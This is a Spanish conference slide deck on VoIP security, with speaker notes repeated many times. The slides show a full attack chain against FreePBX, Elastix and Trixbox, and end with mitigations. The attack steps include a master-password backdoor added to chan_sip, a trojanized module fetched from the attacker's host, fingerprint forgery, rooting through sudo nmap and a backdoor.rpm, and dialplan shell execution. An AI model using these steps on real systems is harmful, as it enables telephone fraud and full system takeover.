  • 69. Además, el servicio Manager NO está bloqueado ante accesos externos ... pepelux@debian ~$ nmap 192.168.2.11 -p5038 Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 18:21 CET Nmap scan report for 192.168.2.11 Host is up (0.000054s latency). PORT STATE SERVICE 5038/tcp open unknown Si modificamos manager.conf permitiendo el acceso desde cualquier lugar ... permit=0.0.0.0/0.0.0.0 Podremos ejecutar comandos de Asterisk remotamente … pepelux@debian:~$ exec 3<>/dev/tcp/localhost/5038 && echo -e "Action: LoginnUsername:adminnSecret:amp111nEvents: offnnAction: CommandnCommand: sip show peersnnAction: Logoffnn" >&3 && cat <&3
  • 70. A ver los módulos ... sh-4.1$ ls -la /usr/lib/asterisk/modules/
  • 71. A ver los módulos ... sh-4.1$ ls -la /usr/lib/asterisk/modules/ Bueno, al menos son propiedad de root!!! parece que no los podemos modificar ...
  • 72. ¿ O sí que podemos ?
  • 73. ¿ O sí que podemos ? Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk …
  • 74. ¿ O sí que podemos ? Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es propiedad del usuario asterisk … ¿ Qué nos impide copiar los módulos en otra ruta y modificar asterisk.conf ?
  • 75. Buscamos un directorio con permisos de escritura y copiamos los módulos: sh-4.1$ mkdir /var/lib/asterisk/moh/modules sh-4.1$ cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/
  • 76. Modificamos el fichero asterisk.conf cambiando la ruta de los módulos: sh-4.1$ cd /etc/asterisk sh-4.1$ mv asterisk.conf asterisk.conf.cop sh-4.1$ echo "[directories]">asterisk.conf sh-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.conf sh-4.1$ echo "astmoddir => /var/lib/asterisk/moh/modules">>asterisk.conf sh-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf sh-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf sh-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.conf sh-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.conf sh-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.conf sh-4.1$ echo "[options]">>asterisk.conf sh-4.1$ echo "transmit_silence_during_record = yes">>asterisk.conf sh-4.1$ echo "languageprefix=yes">>asterisk.conf sh-4.1$ echo "execincludes=yes">>asterisk.conf
  • 77. Reiniciamos el Asterisk ... sh-4.1$ asterisk -rx "core restart when convenient"
  • 78. Reiniciamos el Asterisk ... sh-4.1$ asterisk -rx "core restart when convenient" Verificamos qué módulos hay en uso ... sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.so sh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.so USER PID ACCESS COMMAND /var/lib/asterisk/moh/modules/res_curl.so: asterisk 2565 ....m asterisk
  • 79. Y digo yo
  • 80. Y digo yo … Si Asterisk es de código libre y somos capaces de cambiar un módulo en la FreePBX ...
  • 81. Y digo yo … Si Asterisk es de código libre y somos capaces de cambiar un módulo en la FreePBX ... ¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) y creamos una contraseña maestra, por código, que valide a cualquier usuario, y luego sustituimos nuestro chan_sip.so por el original?
  • 82. Función de chan_sip.c que valida el registro de los peers: /*! brief Check user authorization from peer definition Some actions, like REGISTER and INVITEs from peers require authentication (if peer have secret set) return 0 on success, non-zero on error */ static enum check_auth_result check_auth(struct sip_pvt *p, struct sip_request *req, const char *username, const char *secret, const char *md5secret, int sipmethod, const char *uri, enum xmittype reliable, int ignore) { …....... }
  • 83. Validación del peer: if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); } else { char a1[256]; snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1); } /* compute the expected response to compare with what we received */ { char a2[256]; char a2_hash[256]; char resp[256]; snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp); } good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
  • 84. Añadiendo estas pocas líneas permitiremos que cualquier usuario valide con la contraseña 31337: if (good_response == 0) { char a1[256], char a2[256]; char a2_hash[256]; char resp[256]; strcpy(secret, "31337"); snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret); ast_md5_hash(a1_hash, a1); snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri)); ast_md5_hash(a2_hash, a2); snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash); ast_md5_hash(resp_hash, resp); good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash)); }
  • 85. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 86. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so"
  • 87. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Unable to load module chan_sip.so Command 'module load chan_sip.so' failed.
  • 88. Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX: sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Unable to load module chan_sip.so Command 'module load chan_sip.so' failed. Asterisk no nos permite meter un módulo de otra compilación!!
  • 90. Pero … Y si nos descargamos el chan_sip.so original a nuestra máquina ... sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/ pepelux@debian$ wget http://192.168.2.20/chan_sip.so Y lo comparamos con la copia usando el comando strings: pepelux@debian$ strings chan_sip_orig.so __gmon_start__ __cxa_finalize _Jv_RegisterClasses ast_str_append …....... _ast_calloc 95089850e3c922fa176f9bd274fd8109 ← Huella del fichero original
  • 92. pepelux@debian$ strings chan_sip_cop.so __gmon_start__ __cxa_finalize _Jv_RegisterClasses ast_str_append …....... ;*2$" 47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado Con un editor hexadecimal le ponemos al nuevo fichero la huella del original.
  • 93.
  • 94. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
  • 95. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so"
  • 96. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so
  • 97. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 98. Repetimos el proceso … sh-4.1$ cd /var/lib/asterisk/moh/modules/ sh-4.1$ rm chan_sip.so sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so Recargamos el módulo ... sh-4.1$ asterisk -rx "module unload chan_sip.so" sh-4.1$ asterisk -rx "module load chan_sip.so" Loaded module chan_sip.so Hemos troyanizado el Asterisk!!
  • 99. ¡¡ Veamos un caso práctico !! DEMO (con la última versión de FreePBX: 2.210.62 – del 24/01/2013)
  • 100. El problema es que con todo esto, habremos dejado muchos logs ...
  • 101. El problema es que con todo esto, habremos dejado muchos logs ... No pasa nada, los logs también son propiedad del usuario asterisk! sh-4.1$ ls -la /var/log/asterisk -la
  • 102. El problema es que con todo esto, habremos dejado muchos logs ... No pasa nada, los logs también son propiedad del usuario asterisk! sh-4.1$ ls -la /var/log/asterisk -la
  • 103. Además de todo esto, si la versión de FreePBX es <= 2.10.0 … sh-4.1$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/nmap asterisk ALL = NOPASSWD: /usr/bin/yum asterisk ALL = NOPASSWD: /bin/touch asterisk ALL = NOPASSWD: /bin/chmod asterisk ALL = NOPASSWD: /bin/chown asterisk ALL = NOPASSWD: /sbin/service asterisk ALL = NOPASSWD: /sbin/init asterisk ALL = NOPASSWD: /usr/sbin/postmap asterisk ALL = NOPASSWD: /usr/sbin/postfix asterisk ALL = NOPASSWD: /usr/sbin/saslpasswd2 uucp ALL = NOPASSWD: /bin/chmod asterisk ALL = NOPASSWD: /usr/sbin/hardware_detector asterisk ALL = NOPASSWD: /sbin/chkconfig
  • 104. ¡ Podemos rootear la máquina ! sh-4.1$ sudo nmap --interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h for help nmap> !sh id uid=0(root) gid=0(root) groups=0(root)
  • 105. Otros sistemas La web es mucho más estricta y no podemos inyectar el script desde el CLI
  • 106. Otros sistemas La web es mucho más estricta y no podemos inyectar el script desde el CLI Pero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell: Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI): dialplan reload dialplan add extension 999,1,answer, into from-internal dialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internal dialplan add extension 999,3,hangup, into from-internal
  • 107. Otros sistemas Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.
  • 108. Otros sistemas Durante la instalación nos obliga a poner una contraseña al usuario root de mysql. Pero: bash-3.2$ cat /etc/elastix.conf mysqlrootpwd=asterisk01 ← Contraseña de root para mysql cyrususerpwd=asterisk01 ← Contraseña de IMAPd amiadminpwd=web01 ← Contraseña del administrador de la web
  • 109. Otros sistemas Una vez dentro, lo mismo que antes. bash-3.2$ id uid=100(asterisk) gid=101(asterisk) La web es propiedad del usuario asterisk. Los ficheros de configuración de Asterisk son también propiedad del usuario asterisk, y el proceso para cambiar un módulo es el mismo. Una vez tenemos acceso al sistema, la configuración es prácticamente la misma que en una FreePBX.
  • 110. Otros sistemas En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers ...
  • 111. Otros sistemas En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers … pero olvidaron quitar los permisos para el comando yum bash-3.2$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/yum ... Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina ! bash-3.2$ wget http://x.x.x.x/backdoor.rpm bash-3.2$ sudo yum localinstall backdoor.rpm
  • 112. Otros sistemas La web no trae interfaz de comandos (CLI)
  • 113. Otros sistemas La web no trae interfaz de comandos (CLI) Pero trae un editor de ficheros que nos permite modificar ficheros de configuración: Creamos a mano el plan de llamadas en extensions.conf: [from-internal] exten => 999,1,answer() exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf) exten => 999,3,hangup()
  • 114. Otros sistemas Una vez dentro, lo mismo que antes. bash-3.2$ id uid=100(asterisk) gid=101(asterisk) bash-3.2$ grep AMPDB /etc/amportal.conf AMPDBNAME=asterisk ← BBDD de Asterisk AMPDBUSER=asteriskuser ← Usuario para mysql AMPDBPASS=amp109 ← Contraseña para mysql La web y el Asterisk, también son propiedad del usuario asterisk, al igual que en las otras distribuciones.
  • 115. Otros sistemas En Trixbox siguen estando nmap y yum permitidos en el fichero sudoers …. bash-3.2$ cat /etc/sudoers asterisk ALL = NOPASSWD: /sbin/shutdown asterisk ALL = NOPASSWD: /usr/bin/nmap asterisk ALL = NOPASSWD: /usr/bin/yum asterisk ALL = NOPASSWD: /bin/chown asterisk ALL = NOPASSWD: /bin/chmod …....... Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
  • 116. Consecuencias ¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ? No puede ser tan grave …
  • 117. Consecuencias ¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ? No puede ser tan grave … ¿ o sí ?
  • 118. Soluciones Si no sabemos configurar un Asterisk de forma manual y necesitamos usar este tipo de plataformas, debemos tomar unas mínimas medidas de seguridad: - Restringir el acceso a la web únicamente desde la red local. - Bloquear todos los accesos procedentes de Internet salvo SIP, si es necesario. - Proteger la web con usuario y contraseña mediante un htaccess. - Evitar el uso de redes inalámbricas que puedan poner en peligro nuestra red. - Configurar correctamente los servicios de Asterisk (configuraciones, contextos, ...). - Mantener el sistema siempre actualizado.
  • 119. Si queréis saber más sobre seguridad en entornos de VoIP ...
  • 120. ¡ Espero que os haya gustado ! Jose Luis Verdeguer (aka Pepelux) Pepelux @pepeluxx pepeluxx@gmail.com verdeguer@zoonsuite.com http://blog.pepelux.org http://www.zoonsuite.es ¿ Preguntas ?

Notas del editor

  1. Hola a todos, yo soy Jose Luis, vengo desde Alicante, y él es Jesús, que estudia aquí en la FIC. Vamos a dar una charla sobre la seguridad de la VoIP. En primer lugar vamos a explicar brevemente qué es la VoIP y qué es Asterisk, para la gente que no lo conozca. Veremos también dos posibles escenarios de sistema de VoIP. Y luego, Jesús mostrará las herramientas más utilizadas para atacar este tipo de sistemas. Realizaremos también algunas demos en directo que esperamos que os gusten. Antes de comenzar … pregunta … ¿cuántos conocen Asterisk?
  2. Hola a todos, yo soy Jose Luis, vengo desde Alicante, y él es Jesús, que estudia aquí en la FIC. Vamos a dar una charla sobre la seguridad de la VoIP. En primer lugar vamos a explicar brevemente qué es la VoIP y qué es Asterisk, para la gente que no lo conozca. Veremos también dos posibles escenarios de sistema de VoIP. Y luego, Jesús mostrará las herramientas más utilizadas para atacar este tipo de sistemas. Realizaremos también algunas demos en directo que esperamos que os gusten. Antes de comenzar … pregunta … ¿cuántos conocen Asterisk?
  3. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  4. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  5. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  6. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  7. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  8. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  9. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  10. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  11. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  12. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  13. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  14. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  15. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  16. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  17. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  18. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  19. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  20. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  21. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  22. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  23. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  24. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  25. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  26. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  27. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
  28. Al igual que ocurre con Linux, hay muchas adaptaciones diferentes de Asterisk. Todas con una misma base, pero orientadas a diferente público. Es decir, un Asterisk puro, lo vamos a compilar con los módulos que necesitemos y, mediante un editor de textos o a través de bases de datos, vamos a ir generando cada fichero o cada tabla de configuración según nuestras necesidades. Sin embargo, hay otras distribuciones en las que con 2 clikcs tienes Linux y Asterisk montado … eso sí, con una serie de configuraciones por defecto que, no sólo no serán las más óptimas para nuestras necesidades, sino que además puede dejarnos servicios y usuarios por defecto que permitan a un atacante colarse sin mucha dificultad.
